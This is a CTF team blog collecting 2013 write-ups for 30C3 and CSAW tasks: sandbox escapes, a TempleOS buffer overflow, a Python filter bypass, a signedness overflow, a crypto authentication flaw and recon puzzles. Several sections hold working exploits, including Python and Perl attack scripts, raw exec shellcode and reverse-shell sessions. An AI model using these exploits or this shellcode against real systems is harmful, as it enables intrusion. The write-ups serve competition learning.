Sunday, December 29, 2013

30C3 CTF - int80 (sandbox 300)

Int80 was another sandbox-escape task on the awesome 30C3 CTF. In this task you could send in (via TCP) x86-64 machine code, which was filtered and later executed on a GNU/Linux machine. The filtering was done by searching for bytes that could be a syscall, sysenter or int 80 instructions (on byte level, not the instruction level), and changing them to a series of NOPs.

Additionally before the code was executed all registers were zeroed, and so was part of the stack (on the upper side of the RSP register) - the intention was to avoid address leaks and so disallow jumps into libc or the server binary itself (ASLR-rich land it was).

The problem discovered by us was that the lower side of the stack was not cleaned and it did contain an address to one of the server-binary functions (the signal handler). This allowed us to write a simple scanner that looked for the last 12-bits (the not-affected-by-ASLR ones) of the function address on the stack, grab that address, and then use it to call _mprotect function in the server binary itself. At some point we noticed that the offset of this address on the stack is identical to the local one, so we removed the "scanner" and replaced it with "static" code, that looked like this (nasm dialect):

_start: 

        mov rsi, rsp        
        mov rax, [rsi-0x80] ; The handler function address will be here.
        sub rax, 0x2020F0
        and rax, 0xfffffffffffff000
        jmp mprot

mprot:
        add rax, 0x980 ; Offset of _mprotect function from base.
        mov r8, rax
        
        lea rax, [rel $]
        and rax, 0xfffffffffffff000
        mov rdi, rax

        mov esi, 0x200
        mov edx, 7
        call r8 ; Make this area RWX!

Calling the _mprotect function made the shellcode area RWX again and allowed us to do some SMC to get the syscall instruction we needed for a reverse shell. The SMC we used looked like this:

 inc byte [rel n1]
        n1: db 0x0e, 0x05 ; This is syscall opcode minus 1

The rest, as they say, is history.

30C3 CTF - HolyChallenge (pwn 500)

HolyChallenge was a 30C3 CTF pwn task in which you were could talk (via TCP→serial) with a few-line-of-code application with an obvious stack-based buffer overflow. Now here's the twist: the app was run under 64-bit x86 TempleOS and was written in HolyC (as is the rest of the system) :)

Apart from the network access you were also provided with a local image of TempleOS running the CTF app, which allowed us to both do local tests and dump it's disk content (it used a FAT partition). The CTF app found on the disk looked like this:

U0 service_main()
{
  CommBusyPutS(1, "Hi!\nWelcome to the HolyChall!\nWhats Your Name?\n");
  U8 buffer[128];
  CommBusyGetS(1, buffer); ← obvious buffer overflow
  CommBusyPutS(1, "Unfortunately, there is not much in here, ");
  CommBusyPutS(1, buffer);
  CommBusyPutS(1, ".\n");
}

U0 service_parent()
{
  U8 b[1024];
  service_main;
  CommBusyPutS(1, "Hope you still had some fun...\nBye!\n");
}

service_parent;

So at first this looks pretty terrifying (unknown OS/API/etc), but it turns out the local image was compiled with TempleOS system debugger, which actually is pretty awesome! It's like a C (well, HolyC actually) scripted SoftICE - when you sent the name as e.g. "A"*256 (and so crashed the app), you would instantly be put in the debugger and could see the registers, play with memory, read addresses, etc (that being said, it did change the context to some other process).

We started by checking if we could put NUL-bytes in the shellcode and if it actually really was as simple as it looked. We've done this by running a very simple HolyC script in the debugger that looked for the EB FE (jmp $) sequence in memory below current RIP:

U8 *y;
for(y=0; y<_RIP; y++) if(*y == 0xEB && *(y+1) == 0xFF) Print("%x\n", y);
Running this gave us a couple of addresses; we've picked one we liked, added it (as 64-bit address) to the end of a string of 128+8 "A" letters, and inputted the result as the name (we used tcp for tests instead of stdin). As expected, the code did not crash and the displayed CPU usage went up to 99% - good.

The rest of the task was to learn enough about the TempleOS API to be able to open the flag.TXT file, read it and send it using CommBusyPutS (that much was obvious) to the serial port, which would transmit it via network to us.

The source code of TempleOS was really useful here, since it quickly allowed us to learn about a FileRead function, which reads N bytes from a file. Next we used the debugger to get the addresses (the beauty of non-ASLR OSes) of these functions (using &FileRead; and &CommBusyPutS; commands), as well as another short script to find the sequence FF E4 (jmp rsp) in memory (to return to the stack). Once we had the addresses, we created a simple payload:

[bits 64]

; Give us some breathing space on the stack.
sub rsp, 0x100
mov rbp, rsp
sub rsp, 0x100

; Get the flag.
push 64
lea rax, [rel str1]
push rax
mov eax, 0x2e39b ; FileRead
call rax

; Send it.
push rax
push 1
mov eax, 0x1dcf0 ; CommBusyPutS
call rax

; Enter the debugger.
ud2

str1: db "Flag.TXT", 0

The payload worked locally, so it was time to attack the server. The server did require to find a collision for the first 32-bits of a given SHA1 hash in order to even attempt to exploit the challenge - this made us write a simple C program that looked for the collision and call it from our Python exploit (see the end of the post). Finally it worked and we got the flag:

gynvael:haven-windows> test2.py
Welcome to Holy Challenge!
Unfortunately, this challenge consumes much cpu on our servers so you have to waste some cpu cycles too :)

please give a base64 encoded chunk of data resulting in a sha1 hash starting with hex:79aa76aa
>
-- Work to do: 79aa76aa
Running: a.exe 79aa76aa>solved2.txt
Solution: TyMBBg==
Right, now we start a vm for you (it will be killed after 30 seconds).
Hi!
Welcome to the HolyChall!
Whats Your Name?

Unfortunately, there is not much in here, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBBBBBBö@♥.
30C3_8toOUj01ONlWK

The Python part of our exploit:

# Echo server program
import socket
import struct
import sys
import os
import base64

def RecvUntil(sock, txt):
  d = ""
  while d.find(txt) == -1:
    try:
      dnow = sock.recv(1024)
      if len(dnow) == 0:
        print "[WARNING] RecvUntil() failed at recv"
        return False
    except socket.error as msg:
      print "[WARNING] RecvUntil() failed:", msg
      return False

    d += dnow

  return d

HOST = '88.198.89.193'
PORT = 2323
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST, PORT))

data = RecvUntil(s, "> ")
print data

work=data[data.find('hex:') + 4:]
work=work[:8]

print "-- Work to do:", work

to_run = "a.exe %s>solved.txt" % work
print "Running:", to_run

os.system(to_run)

n = int(open("solved.txt", "r").read(), 16)
n = base64.b64encode(struct.pack("<I", n))
print "Solution:", n

s.sendall(n + "\n")

data = RecvUntil(s, "Whats Your Name?")
print data

JMP_RSP = struct.pack("<Q", 0x34094)

#shell = "asdf"
shell = ("A"*128) 
shell += ("B"*8)
shell += JMP_RSP

with open("shellcode", "rb") as f:
  shell += f.read()

shell += "\n";

s.sendall(shell)

data = RecvUntil(s, ".")
print data

while True:
  d = s.recv(1024)
  if d == '':
    break
  print "Recv:", d

A really fun task :)

30C3 CTF - PyExec (sandbox 300)

TL;DR: # coding: unicode_escape

PyExec was a python-sandbox-escape type challenge on the recent 30C3 CTF. Basically you were allowed to execute filtered Python code server-side, where the filter was a mix of a blacklist and a whitelist. The solution turned out to be quite amusing :)

The code was fed to the server using a very simple web app that looked like this:

Since you were also given the source code of the server, you could peek at the filtering code, which worked like this:

  • It blacklisted all interesting function names (strings search), like "open" or "eval".
  • It allowed (whitelisted) only characters that matched this regular expression:
    ^[\r\na-z0-9#\t,+*/:%><= _\\\-]*$
    The regexp allows:
    • whitespaces
    • lower letters (only lower, no upper)
    • digits
    • and these special characters: # , + * / \ : % > < = _ -
If the filter disliked something, the code was not executed.

Codes that passed the filter were written into a temporary file and executed by an external Python process.

The solution is obvious if you have played with Python source code charsets before - declare a coding using the # coding: name directive and encode your payload with it.

At first we tried to go with utf-7, but since no upper characters are allowed, that turned out to be a no go. Finally we settled for a Python-specific codec called unicode_escape which allows the whole source code to look like inside-a-string escape sequences:
# coding: unicode_escape

\x41\x41\x41\x41

In the end we've encoded a Python reverse shell to this encoding and used it to find and read the flag:

> nc -v -l 1234
Connection from 88.198.89.213 port 1234 [tcp/*] accepted
/bin/sh: 0: can't access tty; job control turned off
$ ls
flag.txt
static
webapp.py
$ cat flag.txt
30C3_2a2766d9cf4a137d517a8227bd71d59d
$

And that's it.

Sunday, September 29, 2013

No cON Name Facebook CTF Quals 2013 - all three levels

A 41h CTF with only 3 easy challenges? Meet No cON Name Facebook CTF Quals 2013, who's name is longer than it took to solve the tasks!

Our write-up in PDF format, for all three tasks, is available here: Dragon Sector write-ups

And that's about it.

Monday, September 23, 2013

CSAW Quals 2013 - Diary (Exploitation 300)

In this task we were given 32 bit x86 Linux binary "fil_chal".
First let's check it's hardening status:

$ checksec.sh --file fil_chal
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
Full RELRO      No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   fil_chal

Ok, so we have executable stack that we can use for our exploit - we only have to defeat stack randomisation.

Of course we first have to find vulnerability, so let's start by loading the binary in IDA and using Hex Rays decompiler.

Binary decompiled cleanly and we won't need IDA anymore.

Looking through fil_chal.c file shows standard TCP daemon setup - binary listens on port 34266 and forks after accepting a connection.

After connecting to the port we are greeted by username/password prompt:
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   *
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *
    *  *                $ $          A  A___A  A   *   *             *   *
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             *
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      *************
                Dairy

UserName:
Password:
By searching for UserName string it's easy to discover under function responsible for authentication and hardcoded credentials:

v9 = (int)"csaw2013";
v15 = (int)"S1mplePWD";
Quick check of login process shows no vulnerabilities - all buffers have correct size.

After logging in with our stolen credentials application asks for entry size and then reads given number of bytes from the client.

Data is then written to a file which is immediately deleted after that (not really that useful as a diary ;)

As one can expect the vulnerability is a buffer overflow while reading the entry.

Code responsible for reading entry size:

  __int16 v6; // [sp+1Ah] [bp-Eh]@1

  ...

  if ( read(fd, &buf, 0xAu) == -1 )
  {
    perror("read: ");
    result = 0;
  }
  else
  {
    v6 = atoi((const char *)&buf);
    if ( v6 )
    {
      *(_WORD *)a2 = v6;
      result = 1;
    }
    else
    {
      send(fd, "Invalid Input or need atleast a size of 1\n", 0x2Au, 0);
      result = 0;
    }
  }
atoi() result is then used as an argument for read() in following code (sub_8048EFE)

...
  n = a2;
  if ( (unsigned int)(a2 + 1) <= 0x400 )
  {
    v7 = recv(fd, &buf, n, 0);
    if ( v7 == -1 )
    {
      perror("recv: ");
...
atoi() result could be negative and mixing it with unsigned argument is always a bad idea, but author put in the check to prevent overflowing the buffer.

Lucky for us the check has +1 in it - introducing the vulnerability.

If we pass "-1" as a note size (a2+1) will be 0 and will pass the check, but recv() will receive -1, which will be interpreted as 0xffffffff giving us a buffer overflow.

Sending -1 as entry size and 1067 bytes will overwrite saved ip.

As said before stack is executable so we can upload shellcode of our choice in submitted diary entry, we only have to find out it's location in memory.

We can use the send() function to leak stack memory.

Let's run binary under gdb, break at last instruction of sub_8048EFE and look at the stack layout:

Breakpoint 2, 0x08049112 in ?? ()

(gdb) x/20xw $esp
0xbffffab8:     0x41414141      0x41414141      0x00000008      0xffffffff
0xbffffac8:     0x0000000c      0x00000000      0xb7f0a249      0xb7fc6ff4
0xbffffad8:     0xbffffaf8      0xffffffff      0x00000000      0xffff0000
0xbffffae8:     0x0804967b      0x0804966e      0xb7fc6ff4      0x00000000
0xbffffaf8:     0xbffffbe8      0x08048bde      0x00000008      0xbffffbb4

There are 2 interesting two addresses in stack range - 0xbffffaf8 and 0xbffffbe8.

Both point to stack areas with useful addresses, but first proved to produce different results at remote server, while second (0xbffffbe8) worked perfectly.

Let's also check the address of input buffer 'buf', we'll need it later:

|0x8048f5e       mov    DWORD PTR [esp+0xc],0x0
|0x8048f66       mov    edx,DWORD PTR [ebp-0x14]
|0x8048f69       mov    DWORD PTR [esp+0x8],edx
|0x8048f6d       lea    edx,[ebp-0x41c]
|0x8048f73       mov    DWORD PTR [esp+0x4],edx
>|0x8048f77       mov    DWORD PTR [esp],eax
|0x8048f7a       call   0x8048890 <recv>

(gdb) p/x $edx
$3 = 0xbffff69c
Our call to send() has to be placed before our chosen stack address, so we have to raise esp to get there - instead of searching for better gadgets I just used "RET" multiple times - there is no limit on exploit length.

Here's final code use to leak the stack:


#!/usr/bin/perl

use IO::Socket::INET;
use warnings;
use IO::Select;
use bytes;

$| = 1;

our $socket = new IO::Socket::INET(
  PeerHost => $ARGV[0],
  PeerPort => '34266',
  Reuse => 1,
  Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";

print $socket "csaw2013\nS1mplePWD\n-1\n";

my $data;

$socket->recv($data, 66666);


print $socket "A" x 1056,
"\x13\x91\x04\x08" x 13, # sequence of RETs to raise esp
"\x04\x8d\x04\x08", # address of send() call
"\x04\x00\x00\x00", # socket fd
;


$socket->recv($data, 66666);

print $data;
This will produce following output:

...
00002b8: 7377 6f72 643a 2057  sword: W
00002c0: 656c 636f 6d65 210a  elcome!.
00002c8: 6874 7470 3a2f 2f79  http://y
00002d0: 6f75 7475 2e62 652f  outu.be/
00002d8: 4b6d 747a 5143 5368  KmtzQCSh
00002e0: 3678 6b0a 0a45 6e74  6xk..Ent
00002e8: 7279 2049 6e66 6f3a  ry Info:
00002f0: 2060 e8f1 b700 0000   `......
00002f8: 0000 0000 0000 0000  ........
0000300: 0080 39fd b700 0000  ..9.....

Right after 'Entry info: ' prompt we have our precious stack address - 0xb7f1e860.

Now all we have to do is run the same script on our local host - comparing them will give us an offset.

Let's add this offset to our previosly discovered 'buf' address and we have what we need - address of our input buffer on the server.

All we need now is a shellcode. I've generated it from metasploit's msfpayload (bash fd redirection is used in arguments):

$ msfpayload linux/x86/exec CMD="/bin/bash 1>&4 0<&4" P
# linux/x86/exec - 55 bytes
# http://www.metasploit.com
# VERBOSE=false, PrependSetresuid=false, 
# PrependSetreuid=false, PrependSetuid=false, 
# PrependSetresgid=false, PrependSetregid=false, 
# PrependSetgid=false, PrependChrootBreak=false, 
# AppendExit=false, CMD=/bin/bash 1>&4 0<&4
my $buf = 
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" .
"\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" .
"\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";

Here's a script go gain shell:

#!/usr/bin/perl

use IO::Socket::INET;
use warnings;
use IO::Select;
use bytes;

$| = 1;

our $socket = new IO::Socket::INET(
  PeerHost => $ARGV[0],
  PeerPort => '34266',
  Reuse => 1,
  Proto => 'tcp',
) or die "ERROR in Socket Creation : $!\n";

print $socket "csaw2013\nS1mplePWD\n-1\n";

my $data;
$socket->recv($data, 6666666);



my $shellcode=
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73" .
"\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x14\x00\x00" .
"\x00\x2f\x62\x69\x6e\x2f\x62\x61\x73\x68\x20\x31\x3e\x26" .
"\x34\x20\x30\x3c\x26\x34\x00\x57\x53\x89\xe1\xcd\x80";



print $socket "A" x 1056,
"\x4a\xf6\xff\xbf", # calculated return address
"\x90" x 20, # short nopsled just in case
$shellcode; # shellcode

# interact with shell
my $ioset = IO::Select->new;

$ioset->add(\*STDIN);
$ioset->add($socket);

my $data;

while(@ready = $ioset->can_read)
{
  foreach $fh (@ready)
  {
    if ($fh == $socket){
      $socket->recv($data, 6666666);
      print $data;
    }else{
      my $cmd = <STDIN>;

      print $socket $cmd;
    }
  }
}

$socket->close();

Let's run it:

perl shell.pl 128.238.66.217
     *************    $$$$$$$$$        AAAAAAA  *****                   *****
    *   *******  *    $ $$   $$        A     A   *   *                 *   * 
    *  *       ***     $ $   $$       A  A A  A   *   *               *   *  
    *  *                $ $          A  A___A  A   *   *             *   *   
    *  *                 $ $        A           A   *   *    ****   *   *
    *  *                  $ $      A     AAA     A   *   *   *  *  *   *
    *  *       ***         $ $     A    A   A    A    *   ***   ***   *
    *  ********  *   $$$$$$   $    A    A   A    A     *             * 
     *************   $$$$$$$$$$    AAAAAA   AAAAAA      ************* 
                Dairy

UserName: Password: Welcome!
http://youtu.be/KmtzQCSh6xk

Entry Info: 
id
uid=1001(crackme) gid=1001(crackme) groups=1001(crackme)
ls
fil_chal
key
cat key
key{signness_oh_what_a_world_we_live_in}

Success!

CSAW CTF Quals 2013 - slurp (crypto 500)

Another CSAW write up - crypto 500! This task was solved by adam_i, fel1x and redford on behalf of Dragon Sector.

The challenge was:

“We've found the source to the Arstotzka spies rendevous server, we must find out their new vault key.” You are also provided with a slurp.py python script and the ip:port.
Trivia: Arstotzka is the place of a indie game called “Papers, Please”. The game has a very unusual gameplay. In the game you play a border control guard who is checking the the passports of persons wanting to enter Arstotzka. The game plays in a fictional Eastern Block state but the setting could also portrait modern day USA.



slurp.py is the server listening on 128.238.66.222:7788. The goal is to pass it’s authentication scheme to get the flag.
The authentication protocol is as follows:

Phase 1, sha1 challenge

Server -> Client:
   base64_encoded_24bit_urandom
Client -> Server:
   The client has to find a value so that the hash    $$sha1(base64\_encoded\_24bit\_urandom\ +\ client\_choosen\_chars)$$    ends with "\xFF\xFF\xFF". If the client is able to generate such a hash, the server continues to phase 2.
We solved this phase with a simple brute force of the sha1 hash. After a few seconds you can find a sha1 hash which suffices the
server-supplied challenge.

Phase 2, authentication

Remark 1:
The values sent by the client are transfer in a way that would potentially allow negative values. The formatting uses a unsigned short as packed length, concatenated with a string of the value in hexadecimal notation. However we couldn’t find any use for this during the exploitation.
Remark 2:
The random number generation used by the server is not perfect. It generates a 2048 bit number from 320 bit output of urandom, however it’s hashed in such a way that a portion of the resulting number will be contain zero bit. We couldn’t find a way to use this during the exploitation.
  def cryptrand(self,n=2048):
   p1=self.hashToInt(os.urandom(40))<<1600
   p1+=self.hashToInt(p1)<<1000
   p1+=self.hashToInt(p1)<<500
   p1+=self.hashToInt(p1)
   bitmask=((2<<(n+1))-1)
   p1=(p1&bitmask)
   return  (p1% self.N)
Server -> Client:
   “Welcome to Arstotzka's check in server, please provide the agent number”
Client -> Server:
   The client chooses the values of index and cEphemeral and send them to the server.
   Index has to be at least 2, but not greater than N/2 (N is constant, known prime used as modulus in all operations).
   The only restriction on cEphemeral is that cEphemeral % N != 0.
Server -> Client:
   The server sends the values of sEphermeral, salt.
   The client already knows salt because it’s sha512(index).
Client -> Server:
   The client calculates the gennedKey and sends it to the server.
Server -> Client:
   The server checks whether the server-calculated gennedKey is the same as the one provided by the client.    Then it tells the client whether authentication was successful or not.    If the authentication was successful, the server sends:
   “Well done comrade, the key to the vault is $flag_value”.
If you’re able to crack the authentication, you get the flag and solve the challenge.
So how does the server test authentication?
The client-supplied values are: index, cEphemeral
The server settings are: password, 2048 bit modulus N
The password is actually empty in the provided sources which let us to a dead end; more on this later.
Then the server calculates:
$$salt = sha512(index)$$ $$storedKey = index^{sha512(salt, password)}\ mod\ N$$ $$sEphemeralPriv = cryptrand()\ \ \#a\ 2048\ bit\ value,\ random\ in\ every\ connection$$ $$sEphemeral = index^{sEphemeralPriv} + 3 * storedKey\ mod\ N$$ $$sEphemeral = index^{sEphemeralPriv} + 3 * index^{sha512(salt + password)}\ mod\ N$$ $$\Longleftrightarrow$$ $$index^{sEphemeralPriv} = sEphemeral - 3 * index^{sha512(salt + password)}\ mod\ N$$ Note that sEphemeral and salt are now sent to the client $$slush = sha512(cEphemeral, sEphemeral)$$ $$agreedKey = sha512( (cEphemeral * storedKey^{slush})^{sEphemeralPriv}\ mod\ N )$$ $$gennedKey = sha512(sha512(N) \oplus sha512(index), sha512(index), salt, cEphemeral, sEphemeral, agreedKey)$$ The only unknown value is agreedKey.
Then, the compare on the client-supplied gennedKey is done. So, the client needs to find a known agreedKey.

First attempt

Our first attempt was to calculate the agreedKey, which is actually possible without knowing the randomly generated sEphemeralPriv.
$$agreedKey = sha512( (cEphemeral * storedKey^{slush})^{sEphemeralPriv}\ mod\ N )$$ $$agreedKey = sha512( agreedKey\_withouthash )$$ $$agreedKey\_withouthash = (cEphemeral * storedKey^{slush})^{sEphemeralPriv}\ mod\ N$$ $$agreedKey\_withouthash = (cEphemeral * index^{sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ If we choose $$cEphemeral = index^{xxx}$$ we get
$$agreedKey\_withouthash = (index^{xxx} * index^{sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ $$agreedKey\_withouthash = (index^{xxx + sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ $$agreedKey\_withouthash = (index^{sEphemeralPriv})^{xxx + sha512(salt, password) * slush}\ mod\ N$$ With the following value from above:
$$index^{sEphemeralPriv} = sEphemeral - 3 * index^{sha512(salt + password)}\ mod\ N$$ We get the following:
$$agreedKey\_withouthash = (sEphemeral - 3 * index^{sha512(salt + password)})^{xxx + sha512(salt, password) * slush}\ mod\ N$$ So, we had a formula for calculating agreedKey and knew all variables of the formula. By calculating agreedKey we were able to calculate gennedKey and send it to the server. This all worked well for our test environment. However it did not work on the live flag server. Our guess was that the password is different on the live flag server, thus we were not able to calculate the correct agreedKey.

Second attempt

Our second attempt which was successful in the end, was to carefully choose the index. Let’s look again at this equation: $$agreedKey\_withouthash = (cEphemeral * index^{sha512(salt, password) * slush})^{sEphemeralPriv}\ mod\ N$$ We can set cEphemeral to 1 (the value is from the client), which simplifies the formula to:
$$agreedKey\_withouthash = index^{sha512(salt, password) * slush * sEphemeralPriv}\ mod\ N$$ Because the exponential is changing for each connection on random, we can assume that it’s divisible by some small number, e.g. 3 or 4 (if not, we can retry until it is). So, let’s now find the index, such that:
$$index^3 = 1\ (mod\ N)$$ (index is cubic root of 1 modulo prime N)
If we manage to find such index and (sha512(salt, password) * slush * sEphemeralPriv) will be divisible by 3, agreedKey_withouthash will equals to 1. How to find it? One line in mathematica:
Reduce[x^3 == 1, x, Modulus->5924486056224…(the value of N)]

Result: http://wklej.org/hash/3ca3fcbd545/txt/
There are 3 solutions, but only the second one satisfies constraints on the index value. Now we have to set the index to this number, calculate agreedKey = SHA512(1) and send the data, until it succeeds ;)
Remarks:
Instead of 3 you could use 4 and then find the root using formula: $$a^{\frac{N-1}{4}}$$ (a can be, for example, 2).
You couldn’t use 2 instead of 3, because the only quadratic roots of 1 are 1 and -1 (refused by server’s constraints).

CSAW CTF Quals 2013 - RECON (all)

Another CSAW CTF 2013 quals write up! This time by our guest player dyjakan, who has written down the solutions discovered by himself, as well as other Dragon Sector players: mak, gynvael, hasherezade, etc (half of the team went after Teddy heh). Enyoj!

== Recon-1: Alexander Taylor ==
After initial recon, we could not find proper solution. We have spent a lot of time browsing through rather funny trolling site [http://legitass.net] where we have landed because "Randall Flagg" (@CTF_tr0ll) is following Alexander (@fuzyll). Meanwhile, following announcement was made: "An error has been fixed in the Alexander Taylor recon challenge. Please reset your reconnaissance.". We did follow their advice and within minutes we have found out that the answer is residing in Alex's profile picture on "Judges" sub-page. Let's see:

$ pnginfo ataylor.png
ataylor.png...
  Image Width: 604 Image Length: 401
  Bitdepth (Bits/Sample): 8
  Channels (Samples/Pixel): 3
  Pixel depth (Pixel Depth): 24
  Colour Type (Photometric Interpretation): RGB
  Image filter: Single row per byte filter
  Interlacing: No interlacing
  Compression Scheme: Deflate method 8, 32k window
  Resolution: 11811, 11811 (pixels per meter)
  FillOrder: msb-to-lsb
  Byte Order: Network (Big Endian)
  Number of text strings: 3 of 9
    These aren't the chunks you're looking for. (tEXt uncompressed):
    You can go about your business. (tEXt uncompressed):
    Move along. (tEXt uncompressed):

It does look interesting. Digging further revealed XOR-ed kTxt chunk which we have beaten with our internal tool.

Key: SPECIFICATIONS SUBJECT TO CHANGE WITHOUT NOTICE


== Recon-2: Julian Cohen ==
Looking around got us to Julians wiki user page: http://en.wikipedia.org/wiki/User_talk:HockeyInJune and the following message:

Check out my new website: http://omnom.nom.co/

Testing the IP (http://23.23.196.37/) instead of using the domain revealed the flag:

Key: 1a8024a820bdc7b31b79a2d3a9ae7c02


== Recon-3: Jordan Wiens ==
Jumping into linked site [http://key.psifertex.com] shows us this: "Michael Vario sure does some suspicious signs, hope he doesn't do me". Quick googling for "Michael Vario" leads us to his blog post about PGP magic. We ignore the post, instead we check Jordan's PGP key at MIT key server [http://pgp.mit.edu]. So, it looks that we are on the right track: "pub  2048R/A827D636 2013-08-08 Jordan Wiens (CSAW folks: getting warmer) <csaw@psifertex.com>". We have examined this key and concluded that it contains embedded image. Time for some one-liner action:

$ gpg --recv-keys 0x9fbebc5ea827d636 && gpg --list-options show-photos --fingerprint 0x9fbebc5ea827d636

Key: mvarioisnotmyhomeboy


== Recon-4: Kevin Chung ==
This recon challenge, along with teddy, was the most time-consuming for us. We have spent a lot of time googling for Kevin, alas without success. However, we were not alone in our misery -- apparently other teams also suffered with us, thus organizers have released a hint ("Hint for Kevin Chung: What places can you graduate from?"). After that we have managed to find a link to the key which was residing in "Previous Winners" section of CSAW High School Cyber Forensics Challenge [https://hsf.isis.poly.edu].

Key: who_in_the_world_is_kevin_chung

Bonus-1: We digg history of SITH's wiki page [http://en.wikipedia.org/wiki/Staten_Island_Technical_High_School].
Bonus-2: We digg this [http://54.243.84.85] even more.


== Recon-5: historypeats ==
After googling for historypeats footprint, we quickly stumbled upon this github profile [https://github.com/historypeats]. Checking out public activity of this account [https://github.com/historypeats?tab=activity] quickly reveals flag [https://github.com/historypeats/putscan/commit/a31512af6e8f2ae76bce11c0bd363f899e3488d1].

Key: whatDidtheF0xSay?


== Recon-6: Brandon Edwards ==
We have started off with "Brandon Edwards" search results from Google. We knew, a priori, that his handle is drraid, hence we have added this to our query string. With such results we quickly checked out social pages where we have found out about his relation to sophsec [http://www.sophsec.com] (via GitHub). The key was sitting in source code of main page.

Key: a959962111ea3fed179eb044d5b80407


== Recon-7: Odin ==
Well, this one was quick. Everyone who joined #csaw IRC channel must have noticed user @snOwDIN. Lo and behold:

whois snOwDIN
19:20 -!- snOwDIN [~o@ISIS-B0CFAD3E.com]19:20 -!-  ircname  : linkedin:chinesespies
19:20 -!-  channels : @#odin @#csaw19:20 -!-  server   : isis.poly.edu [ISIS IRC Server]
19:20 -!-       : is using a Secure Connection
19:20 -!-  idle : 0 days 0 hours 1 mins 18 secs [signon: Thu Sep 19 21:04:20 2013]19:20 -!-
End of WHOIS

Visiting chinesespies linkedin account revealed key to us.

Key: cookies_are_for_csaw


== Recon-8: Theodore Reed ==
Major PITA for everyone. We did *a lot* of googling here. This approach was doubleplusungood, instead we should have focused on things that were right in front of our eyes. Anyway, organizers felt everyone's frustration and released yet another hint: "Hint: From "http://prosauce.org" it takes three clicks (Now it takes more because of asshole CTF players)". This looked helpful. We pulled out all teh links (internal and external) from teddy's website [http://prosauce.org] and glanced through them. Finally, we have managed to score the flag which was residing 5-clicks away: http://prosauce.org -> http://prosauce.org/projects/ -> http://www.youtube.com/watch?v=RCTRSK45bS4 -> "All comments" -> "Show".

Key: shmoonconrocksglhfwithcsaw